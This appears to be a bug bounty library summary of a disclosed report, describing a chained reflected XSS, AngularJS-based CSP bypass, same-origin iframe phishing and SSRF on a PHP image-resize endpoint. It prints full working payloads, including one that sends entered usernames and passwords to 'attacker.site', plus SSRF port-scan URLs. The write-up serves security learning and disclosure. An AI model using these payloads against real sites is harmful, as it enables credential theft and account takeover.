# The story of exposed service, SSRF, CSP bypass and credentials stealing via XSS – Bergee's Stories on Bug Hunting

Reflected XSS in /resize save-as param bypassed CSP via AngularJS from allowed CDN, then iframed same-origin /login to phish credentials exfiltrated through the SSRF endpoint.

- Payout: $217 (paid EUR 200)
- Severity: high
- Program: -
- Found by: Bartłomiej Bergier
- Disclosed: 2024-03-20
- Write-up quality: 8/10
- Original: https://bergee.it/blog/the-story-of-exposed-service-ssrf-csp-bypass-and-credentials-stealing-via-xss/
- Library page: https://bugbountylibrary.com/r/blog%3Abergee-it-blog-the-story-of-exposed-service-ssrf-csp-bypass-and-credentials-stealing-via-xss
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high tech:php technique:chained technique:source-review vuln:clickjacking vuln:ssrf vuln:xss

**Target:** PHP image-resize endpoint (/resize) using CImage library
**Root cause:** The save-as parameter is reflected unescaped into HTML, and CSP allows ajax.googleapis.com so AngularJS can be loaded to execute inline expressions; the same endpoint also proxies remote URLs via src, enabling exfiltration.
**Steps:**
1. Fuzz portal, find `/resize` endpoint; error messages reveal CImage library.
2. Use waybackurls to find `/resize?src=https://...&sc=full_background` showing remote URL fetch.
3. Confirm SSRF/port scan: `src=http://127.0.0.1:22` vs closed port returns distinct errors.
4. Read CImage source; enable `verbose` and `save-as` options.
5. Inject `save-as=xx"></script><h1><font color="red">HTML injection</font><br></h1>` — reflected but blocked by CSP.
6. Bypass CSP with `x")</script><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.9/angular.min.js"></script><k ng-app>{{$on.constructor('alert(document.domain)')()}}</k>`.
7. Iframe same-origin `/login` fullscreen, hide elements with `<style>a{display:none}</style>`, spoof title and URL via `history.pushState`.
8. Add change listener on iframe form; exfiltrate creds via `fetch("https://redacted.com/resize?src=https://attacker.site/"%2bwindow.frames[0].document.forms[0]["user"].value%2b"/"%2bwindow.frames[0].document.forms[0]["password"].value)` to bypass connect-src CSP.
**How found:** Fuzzing found /resize; error messages hinted at CImage; waybackurls revealed a remote-src example; reading CImage source/docs uncovered verbose and save-as options; testing save-as showed unescaped reflection; dev console CSP errors prompted AngularJS CDN bypass; realizing /login and /resize share origin led to iframe disguise; CSP connect-src block led to reusing /resize src as exfil proxy.
**Exploitation:** Attacker crafts a /resize URL that renders a fake login page (same-origin iframe of /login, fullscreen, title/URL spoofed). Victim enters credentials; a change event handler reads the iframe form fields and sends them to the attacker's server through the /resize SSRF proxy, which is allowed by CSP 'self'.
**Escalation:** Chained reflected XSS + CSP bypass + same-origin iframe clickjacking/UI-redress + SSRF endpoint as exfil channel to achieve credential theft despite httpOnly cookies and restrictive CSP.
**Insight:** When CSP allows a CDN like ajax.googleapis.com, AngularJS (or similar) can be loaded to execute expressions without inline scripts; also, an SSRF-capable endpoint on the same origin can serve as a CSP-compliant exfiltration channel when connect-src is 'self'.

## Proof of concept (copied exactly from the original report)

**Full CSP bypass and credential-stealing XSS payload**

```
https://redacted.com/resize?src=dummy&verbose&save-as=x");</script><style>a{display:none}</style><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.9/angular.min.js"></script><k ng-app>{{$on.constructor('document.title="Redacted | Log in";history.pushState("", "", "/login");window.frames[0].addEventListener("change",(function(e){fetch("https://redacted.com/resize?src=https://attacker.site/"%2bwindow.frames[0].document.forms[0]["user"].value%2b"/"%2bwindow.frames[0].document.forms[0]["password"].value)}))')()}}</k><iframe name="frm" src="https://redacted.com" style="position:fixed; top:0; left:0; bottom:0; right:0;width:100%; height:100%;top:0; left:0; bottom:0; right:0; border:none; margin:0; padding:0; overflow:hidden;"><!--
```

**AngularJS CSP bypass XSS payload**

```
https://redacted.com/resize?src=dummy&verbose&save-as=x")</script><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.9/angular.min.js"></script><k ng-app>{{$on.constructor('alert(document.domain)')()}}</k>
```

**SSRF port scan via resize src**

```
https://redacted.com/resize?src=http://127.0.0.1:22

https://redacted.com/resize?src=http://127.0.0.1:888
```

